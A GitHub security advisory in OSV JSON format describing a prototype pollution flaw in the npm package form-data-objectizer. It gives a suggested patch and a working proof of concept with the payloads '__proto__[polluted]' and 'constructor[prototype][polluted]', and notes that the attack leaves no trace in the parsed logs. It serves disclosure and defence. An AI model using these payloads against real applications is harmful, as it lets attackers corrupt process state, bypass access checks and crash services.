{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "form-data-objectizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:28:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`form-data-objectizer` walks bracket-notation form keys (e.g. `name[sub]`) into nested objects without filtering `__proto__`, `constructor`, or `prototype`. A single HTTP form field whose name starts with `__proto__[...]` causes the library to mutate `Object.prototype`, which is a prototype pollution primitive of the entire Node.js process.\n\nThe bug is in `treatInitial` and `treatSecond` inside `index.cjs`:\n\n```js\nif (inputName in result) {           // \u0027in\u0027 walks the prototype chain, so \u0027__proto__\u0027 matches\n  newResult = result[inputName]      // newResult === Object.prototype\n}\n// ...\nresult[key] = value                  // sets the property on Object.prototype\n```\n\nWith the form key `__proto__[polluted]` and value `yes`:\n\n1. `treatInitial` matches `inputName = \"__proto__\"`, `rest = \"[polluted]\"`.\n2. `\"__proto__\" in result` is true (inherited), so `newResult = result[\"__proto__\"]`, which is `Object.prototype`.\n3. `treatSecond` recurses with `key = \"polluted\"`, `newRest = \"\"`, and assigns `Object.prototype.polluted = \"yes\"`.\n\n## Affected versions\n\n- `form-data-objectizer` `\u003c= 1.0.0` (currently the only published version)\n\n## Patched\n\nNot yet. Suggested fix: reject any segment equal to `__proto__`, `constructor`, or `prototype` before walking into `result[inputName]` / `result[key]`. Either throw or skip the entry.\n\nMinimum patch in `treatInitial` and `treatSecond`:\n\n```js\nconst REJECT = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\nif (REJECT.has(inputName) || REJECT.has(key)) {\n  return; // or throw\n}\n```\n\nUsing `Object.create(null)` for the `result` object would also work since it has no prototype to pollute, but the `key === \u0027__proto__\u0027` direct write still needs guarding.\n\n## Proof of concept\n\nFresh install on Node 18+:\n\n```sh\nmkdir pp-fdo \u0026\u0026 cd pp-fdo\nnpm init -y\nnpm install form-data-objectizer@1.0.0\n```\n\n```js\n// poc.js\nconst FormDataToObject = require(\u0027form-data-objectizer\u0027);\n\nconst form = new FormData();\nform.append(\u0027username\u0027, \u0027alice\u0027);\nform.append(\u0027__proto__[polluted]\u0027, \u0027yes\u0027);\n\nFormDataToObject.toObject(form);\nconsole.log(({}).polluted); // -\u003e \u0027yes\u0027\n```\n\nObserved output:\n\n```\npackage version: 1.0.0\nbefore pollution: undefined\nafter pollution:  yes\nparsed data:     { username: \u0027alice\u0027 }\nconfirmed:       YES, prototype polluted\n```\n\nThe field name `__proto__[polluted]` is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits `polluted = \u0027yes\u0027`. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.\n\nA second working payload is `constructor[prototype][polluted]=yes`, which walks `result.constructor` then `.prototype`.\n\n## Impact\n\n- Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses `form-data-objectizer.toObject()` on incoming form data.\n- Persists for the life of the worker process and affects every subsequent request handled by the same process.\n- Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing `if (obj.isAdmin)` style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` (8.2, High)\n\nIntegrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.\n\n## Credit\n\nReported by Mohamed Bassia (@0xBassia).",
  "id": "GHSA-m2hg-wjq3-28wq",
  "modified": "2026-05-18T13:28:31Z",
  "published": "2026-05-18T13:28:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kaspernj/form-data-objectizer/security/advisories/GHSA-m2hg-wjq3-28wq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kaspernj/form-data-objectizer/commit/7c54b99408e6e9cd6533b7245bf197dadc2a2dbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kaspernj/form-data-objectizer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys"
}